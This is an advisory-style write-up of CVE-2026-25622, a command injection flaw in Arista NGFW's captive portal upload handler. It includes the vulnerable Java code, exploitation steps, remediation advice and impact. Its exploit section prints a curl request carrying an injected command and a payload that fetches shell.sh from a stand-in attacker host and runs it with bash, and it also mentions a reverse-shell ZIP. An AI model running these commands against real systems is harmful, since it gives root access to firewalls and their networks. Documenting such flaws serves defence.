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Intro – How CVE-2026-25622 Works
CVE-2026-25622 is a command injection vulnerability in the Captive Portal Custom Handler of Arista Edge Threat Management (Arista Next‑Generation Firewall). The flaw stems from improper sanitization of user‑supplied input that is later embedded into platform shell commands.
The vulnerable handler is an API endpoint that processes file uploads for custom landing pages. Although the custom‑page feature has been removed from the web UI, the underlying API handler remained active in affected versions. The handler constructs several shell commands by concatenating a user‑controlled `argument` string directly into a path, for example:
String customPath = System.getProperty("uvm.web.dir") + "/capture/custom_" + argument;
...
execSafe(CAPTURE_CUSTOM_REMOVE_SCRIPT + " " + customPath);
execSafe(CAPTURE_CUSTOM_CREATE_SCRIPT + " " + customPath);
execSafe("unzip -o " + CAPTURE_TEMPORARY_UPLOAD + " -d " + customPath);
Because the `argument` value is inserted without any escaping or filtering, an authenticated administrative user can inject arbitrary shell metacharacters (such as ;, |, &, or $()) into the `argument` field. When the three `execSafe()` calls are executed, the injected commands run with the privileges of the underlying operating system – typically `root` on the firewall appliance.
To reach the vulnerable code path, the attacker must:
1. Log in to the NGFW administrative interface.
- Prepare a ZIP archive that contains either a `custom.html` or `custom.py` file at its root.
- Send a crafted HTTP POST request to the `/admin/upload` endpoint, including the malicious `argument` (often the `appid` parameter) and the ZIP file as multipart form data.
The lack of validation allows the administrator’s input to escape the intended directory structure and execute arbitrary OS commands. The issue affects all NGFW versions prior to 17.4.1. Arista released version 17.4.1 on 2026‑02‑03, which removes the vulnerable code entirely.
DailyCVE Form
Platform: Arista NGFW
Version: < 17.4.1
Vulnerability: Command Injection
Severity: Medium
Date: 2026-06-05
Prediction: 2026-02-03 (17.4.1)
What Undercode Say
Exploit command (conceptual) curl -k -X POST https://target/admin/upload \ -H "Cookie: admin_session=..." \ -F "[email protected]" \ -F "appid=16; id > /tmp/pwned.txt" Injected payload (the 'argument' field) argument="16; wget http://attacker/shell.sh -O /tmp/shell.sh; bash /tmp/shell.sh"
Note: The actual parameter name may be
appid,customid, or a similar POST field that ends up as the `argument` in the Java handler.
Exploit
- Gain authenticated access – The attack requires a valid administrative session on the NGFW web interface.
- Create a malicious ZIP – Package a `custom.py` (or
custom.html) containing a reverse‑shell payload. - Send the crafted request – POST to `/admin/upload` with:
– `upload_file` = the malicious ZIP file.
– `appid` = a string that includes shell metacharacters (e.g.,16; <command>). - Trigger execution – The vulnerable handler concatenates the user‑controlled `appid` into the path and runs three shell commands, each including the attacker’s injected payload.
Protection
- Upgrade to Arista NGFW version 17.4.1 or later.
- Restrict administrative access to the management interface (allow only trusted IPs and personnel).
- Deploy an IPS/IDS signature – Check Point and other vendors already provide detection for CVE‑2026‑25622.
- Disable the Captive Portal if not strictly required, or remove any unused API endpoints.
Impact
Successful exploitation grants the attacker full root‑level command execution on the firewall appliance. This leads to:
– Complete compromise of the NGFW, allowing an attacker to disable security policies, sniff traffic, or modify rules.
– Lateral movement – The compromised firewall can be used as a pivot to attack internal network assets.
– Data exfiltration – Sensitive logs, configuration files, and user credentials stored on the appliance can be stolen.
– Service disruption – Arbitrary commands can cause denial of service (e.g., kill critical processes, delete files, or flood the network).
The CVSSv3.1 score is 6.0 (Medium) with the vector:
`AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:L`.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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